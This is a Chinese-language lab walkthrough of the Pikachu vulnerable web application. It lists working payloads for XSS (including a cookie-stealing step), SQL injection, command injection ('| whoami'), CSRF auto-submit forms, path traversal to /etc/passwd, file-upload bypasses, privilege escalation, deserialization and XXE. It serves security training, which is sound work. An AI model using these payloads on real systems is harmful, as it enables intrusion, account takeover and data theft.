目录
File Inclusion(remote远程文件包含漏洞)
一、暴力破解
基于表单的暴力破解
缺少验证码匹配,无登录次数限制等等条件,可以对用户名或密码暴力破解
burp抓包
设置target
设置positions→clear→选择需要爆破的位置→点击add
设置payload,选择密码字典
用户名:pikachu
密码:000000
验证码绕过(on server)
验证码存在的意义是什么?
用来区分人和机器的操作,互联网上各种注册、登录、投票等等应用场景,都有被机刷造成损失的风险,如果不对这种作弊行为加以防范,像恶意注册登录、刷票、撞库、爬虫等,将会产生极大危害
验证码如何验证?
客户端用户输入登录信息请求验证码→后台根据算法生成验证码同时将值全局赋值,存储至session→将输入的登录信息与验证码同时提交,后台校验验证码→登录成功/登录失败
验证码绕过(on server)
生成后的验证码在后台有效期过长,以明文的形式出现在HTTP响应包里面,可以长期使用验证码,导致可以暴力破解密码
当验证码为空,填写错误时都会报错,正确填入验证码之后,burp更改或删除验证码都会出错,说明服务器和客户端都做了验证码校验
刷新浏览器的验证码之后,再次回到这个重放页面,将之前的验证码替换为新生成的,证明存在验证码有效期问题
生成后的验证码在后台有效期过长,利用新生成的验证码爆破当前用户密码
验证码绕过(on client)
测试后发现,密码为空或输入错误都会报错,先输入正确的验证码跳出js前端验证,再由burp修改验证码,证明服务器端是否对验证码校验
删除验证码
爆破
Token防爆破?
Token是什么?
由服务端生成的一串字符串,用作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token请求数据即可。更通俗点可以叫暗号,在一些数据传输之前,要先进行暗号的核对,不同的暗号被授权不同的数据操作。相对于session来说,是存储在内存中的,每个用户通过认证之后都会将session数据保存在服务器的内存中,而当用户量增大时,服务器的压力增大。
验证方法(使用基于 Token 的身份验证方法,则在服务端不需要存储用户的登录记录)
1.客户端输入用户名与密码请求登录
2.服务端收到请求,去验证用户名与密码
3.服务端通过一些算法,然后加一个密钥,生成一个token,再把这个 token 发送给客户端
4.客户端收到 token 以后可以存储起来
5.下次请求时,带着token,服务器收到请求后,然后会用相同的算法和密钥去验证token
token能否防暴力破解?
burp抓包发现除了账号,验证码外,还存在token验证
服务器的响应中有新的token,那其实可以拿每次失败后返回的新的token去做下一次测试,那这样是话是可以爆破的
选择intruder模块
clear所有选择,add密码和token作为攻击对象
Attack type改为Cluster bomb
选择Options模块,找到Grep - Extract,如下图所示,先勾选,然后点add,如果发现弹出的页面是空白的话再点一下Refetch response的位置,就能看到http响应包,复制一下token值,点击ok,关闭页面
设置password的payload
设置token的payload,粘贴刚才在第四步骤内复制的token值
选择线程为1
start attack
二、XSS(跨站脚本攻击)
xss的分类
1:反射性xss
简单的把用户输入的数据反射给浏览器,黑客往往需要诱导用户点击一个恶意链接,攻击成功,也称为非持久性xss
2:存储型xss
会把用户输入的数据存储在服务端,这种xss具有很强的稳定性,黑客写下一篇包含恶意js代码的文章,所有访问的用户都会在他们浏览器执行这段恶意的js代码,黑客把这种恶意的脚本保存至服务端,即为存储型xss
3:DOM型xss
通过修改页面的DOM节点形成xss
xss常用测试语句
<script>alert(/xss/)</script>
<img src=ganyu οnerrοr=alert(/xss/)>
<svg οnlοad=alert(/xss/)>
<a herf=javascript:alert(/xss/)>
反射型XSS(GET)
右击查看源码,没做任何过滤
构造payload:<script>alert(/xss/)</script>
有长度限制?
从修改长度限制试试。注意:先修改长度,再输入构造的payload
反射型XSS(POST)
根据提示,登录用户为admin密码为123456的用户
1.xss弹窗
payload:<script>alert(/xss/)</script>
2.xss获取cookie
https://xsshs.cn/xss.php?do=project&act=create
新建一个项目
勾选默认模块、xss.js(不必须),点击确定
复制payload:
粘贴刚才的payload至攻击目标
点击发送后窃取cookie
存储型XSS
payload:<script>alert(/xss/)</script>
留言成功后每次访问都会弹出/xss/
DOM型XSS
DOM型xss攻击页面实现功能是在输入框输入payload时,点击click按钮时,页面会将what do you see替换为可点击的输出信息
先测试一下代码,传入的值将会在<a href='"+str+"'>内执行
右击查看源码
只需要注释闭合<a href='"+str+"'>即可
构造payload:#' οnclick="alert(/xss/)">,再单击what do you see
DOM型XSS-X
右击查看源码
同理,闭合<a href='"+str+"'>
payload:#' οnclick="alert(/xss/)">
这个利用起来,由于是是通过url传递,这个时候复制url 把它发给攻击目标就行了
XSS盲打
1.在留言栏和姓名框内输入payload
<script>alert(/xss/)</script>
2.根据提示登陆后台
提交后,登录127.0.0.1/pikachu/vul/xss/xssblind/admin_login.php
账户是admin,密码是123456
后台执行了刚才提交的弹窗
XSS之过滤
大小写绕过<ScriPT>alert(/xss/)</ScriPT>
双写绕过<scrscriptipt>alert(/xss/)</scrscriptipt>
XSS之htmlspecialchars
htmlspecialchars()函数把预定义的字符转换为 HTML 实体
假设在这里构造了一个事件,当事件发生时,可执行 JavaScript,如当用户点击一个 HTML 元素时,就会从事件处理程序中调用函数
构造一个payload,这里用onlcik
payload:' οnclick=alert(/xss/) '
XSS之href输出
a标签里面的href,img里面的src属性,有什么特殊的么?
src用于替代指定元素,而href用于建立指定标签与外部资源之间的关系,
当在输入框内容,value的内容会直接带入href,触发“阁下自己输入的url还请自己点一下吧”这句话的时候,就会执行带入的参数
payload:javascript:alert(/xss/)
XSS之js输出
输入动态的生成到了js中,形成xss javascript里面是不会对tag和字符实体进行解释的,所以需要进行js转义
构造闭合,把原本的<script>闭合掉,再插入我们自己的<script>
payload:</script><script>alert(/xss/)</script>
或
tmac';alert(/xss/);//
三、CSRF(跨站请求伪造)
跨站请求伪造,也称one click attack,是一种对网站的恶意利用,攻击者利用目标用户的身份,以目标用户的名义执行某些非法操作。例以目标用户的名义发送邮件,发送消息,购买商品,转账等等
举个例子,假如你想给某位用户转账100元,那么单击“转账”按钮后,发送的请求类似http://www.xxx.com/xxx.php?username=xiaohong&money=100类似。攻击者构造链接http://www.xxx.com/xxx.php?username=damin&money=100,当目标点击了该url,就会自动向damin用户转账100元
CSRF攻击条件
用户已经登录A网站,并生成cookie信息
B网站得有门攻击A网站的脚本
B网站诱导用户链接
CSRF(GET)
登录lili,密码为123456
修改一下个人信息,提交再,先burp抓取数据包
通过GET请求来提交修改信息
我们将url中sex值更改为boy,复制这段代码拼接至127.0.0.1后
用同一浏览器访问这个链接
更改成功
CSRF(POST)
如果是POST型的,所有参数在请求体中提交
攻击者可以搭建一个站点,在站点上做一个表单,诱导目标点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。
编写一个1.html页面,把此页面放到的phpstudy的www页面下,然后使用火狐访问(这里提交的请求会将boy改回girl)
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http:/127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="18656565545" />
<input id="add" type="text" name="add" value="japan" />
<input id="email" type="text" name="email" value="lili%40pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
访问
CSRF(Token)
未找到攻击方式
**CSRF的预防与修复**
验证请求的referer。什么是referer?referer是HTTP请求header的一部分,当浏览器(或者模拟浏览器行为)向web服务器发送请求的时候,头信息里有包含 referer里有一个www.baidu.com链接,那么从这个www.baidu.com网站进入的链接,它的header信息里就有:
Referer=JSON在线 | JSON解析格式化—SO JSON在线工具
如果referer是在其他网站域名或空白处请求,有可能是csrf攻击,服务器拒绝访问,但是存在绕过
CSRF之所以可以攻击成功是因为攻击者伪造了用户请求,如果在http请求的参数加入一个随机产生的token,并且在服务端校验token,若不匹配,则拒绝请求
四、SQL注入
数字型注入(POST)
bp抓包
payload:1 union select 1,database()#
字符型注入(GET)
payload:1' union select 1,database()#
搜索型注入
payload:%' union select 1,3,database()#
XX型注入
payload:1)' union select 1,3,database()#
INSERT/UPDATE注入
注册账户
写入一个基于报错注入的payload
updatexml:
1' and(updatexml(1,concat(0x7e,(select(database())),0x7e),1)) or '
extractvalue:
1 and(extractvalue(1, concat(0x7e,(select database()),0x7e))) or '
单击submit
delete注入
delete注入自然得先写入一句留言,删除时,burp抓取
写入payload:+or+(updatexml(1,concat(0x7e,database(),0x7e),1))
http header注入
ua注入
登录,账户admin,密码123456
payload:1' or updatexml(1,concat(0x7e,database(),0x7e),1) or '
布尔盲注
构造检测数据库长度的payload:vince' and length(database())>6#
时间盲注
payload:vince' or if(substr(database(),1,1)='p',sleep(5),1)#
宽字节注入
程序获取GET参数ID,并对参数使用addslashes()函数,在预定义的字符前添加反斜杠转义,然后拼接至SQL语句进行查询,在一般情况下是无法注入的,但是由于数据库查询前执行了set names 'gbk',将编码设置为宽字节gbk,所以存在宽字节注入
payload:vince%df' union select 1,database()#
burp抓取数据包
五、RCE
远程系统命令执行 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口 比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上 一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
exec "ping"(远程系统命令执行)
payload:127.0.0.1 -c 1 | whoami
exec "evel"(远程代码执行)
六、文件包含漏洞
是指编译器进行预处理时复制指定的文件内容代替源文件中预处理命令的过程,一个源文件可以将另一个源文件的全部内容包含进来。初衷是为了减少程序代码的冗余。
文件包含漏洞原理
可以试想一下,开发人员如果每一个代码文件中都要使用到同一段代码,非常繁琐,所以通常会将用到的代码转换成一个文件,让每一个用到它的代码都包含在里面,而无需再次编写。这种调用文件的过程一般被称为包含文件。但由于这种灵活性,从而导致客户端可以调用任意恶意文件,从而造成文件包含漏洞。
文件 PHP 中的文件包含分为本地包含和远程包含(allow_url_include = on)
File Inclusion(local本地文件包含漏洞)
Include()函数属于文件包含函数,通过include()或require()语句,php文件可以直接执行包含文件的代码,包含的文件格式不受任何限制,首先需要在include文件中创建出1.php文件,用来实验此次攻击
构造payload访问
File Inclusion(remote远程文件包含漏洞)
当allow_url_fopen为on的时候,既开启远程文件包含功能。allow_url_include 为on的时候,允许使用include。注:可以在php.ini文件中设置开闭,一般关闭【路径:/etc/php/7.0/apache2/php.ini】
在这里我们得先了解一下什么是php://,以及php提供的各种杂项输入输出流
php://(访问各个输入/输出流),提供了IO流允许访问 PHP 的输入输出流、标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。如php://stdin、php://stdout 和 php://stderr 允许直接访问 PHP 进程相应的输入或者输出流。如php://input、php://output,php://input是一个可以访问请求的原始数据的只读流
直接在phpstudy内配置网页提示的两个函数即可
先在www目录下找一个文件(随意找了个上次打题时候的序列化文件)
构造payload访问
不安全的文件下载漏洞
文件下载功能在很多web系统上都会出现,当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后会开始执行下载代码
如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞 此时攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来,从而导致后台敏感信息(密码文件、源代码等)被下载
给服务器发送第一张图片的下载请求,burp抓包
将kb.png改为ai.png
再放包,下载图片
文件上传漏洞
client check(JS前端验证)
当上传1.php的时候,前端会进行校验
1.写入一句话
<?php phpinfo();?>
2.将1.php后缀改为1.jpg
3.上传文件,burp抓包
4.将1.jpg改为1.php
5.访问1.php
MIME Type(content-type校验)
MiMe是什么?一串简单的字符串组成的初期标识了邮件e-mail的附件的类型,后来在html文件中可以使用属性表示,当文件上传后,content-type会标记文件类型,简单来说当我们上传一个1.php文件的时候,content-type会自动将我们这个文件类型标识为application/octet-stream,不匹配时上传失败,这里仅允许content-type为image/jpeg,image/png,image/gif属性的通过
1.上传文件
2.burp抓包
将content-type标识的application/octet-stream修改为image/jpeg
3.访问
getimagesize
上传图片码
生成图片码命令:
copy 1.jpg /b + 1.php /a ganyu.jpg
上传
访问下刚才上传的文件
利用文件包含漏洞访问图片,执行写入图片内的一句话phpinfo()
注意:虽然这里利用了上上题的文件包含,访问的地址应该是/unsafeupload/uploads/2021/10/14/5075166168140442637171612637.png,但是需要返回一次上级目录,即payload为../unsafeupload/uploads/2021/10/14/5075166168140442637171612637.png
越权
水平越权
根据提示有两个用户,一个是lucy,一个是lili,用户名密码相同
首先登录lucy的账号
将url内username后的lucy更改为lili
垂直越权
根据提示,猜测应该是pikacu越权admin
登录pikachu用户,密码为000000,权限只有查看
登录admin用户,密码123456,拥有添加用户查看用户的权限
使用admin添加新用户,burp抓包
再重放,保留这个重放页面
重新回到浏览器上,刷新页面,可以看见底部添加的用户ganyu
登录pikachu用户,burp抓包(目的是为了获取pikachu的cookie)
复制pikachu的cookie,并且回到刚才保留的重放页面,将admin的cookie更改为复制的,更改添加用户名的名字,这里为ganyu2
pikachu用户登录成功后,能看到两个新增用户,ganyu为admin添加,ganyu2为pikachu添加
../../
目录遍历
在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。
点开一个目录,进行目录跳转修改URL前,先确定跳转目标
打开暴力破解的概述页面,此时的页面是在vul目录下
回到刚才页面
将url更改为http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../burteforce/burteforce.php,访问
敏感信息泄露
lcanseeyourABC
右击查看源码获得测试账号
PHP反序列化
php反序列化漏洞
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert(/xss/)</script>";}
或者可以自己写一个序列化的脚本
<?php
class UserInfo
{
public $blog = "<script>alert(/xss/)</script>";
}
$ganyu = new UserInfo();
echo serialize($ganyu);
?>
访问
XXE
XXE漏洞
payload:<?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker "xxe"> ]> <name>&hacker;</name>
URL重定向
不安全的URL跳转
第4个链接URL内存在参数可控
更改成一个地址就行了,按回车就会跳转
SSRF
环境出问题了,没做成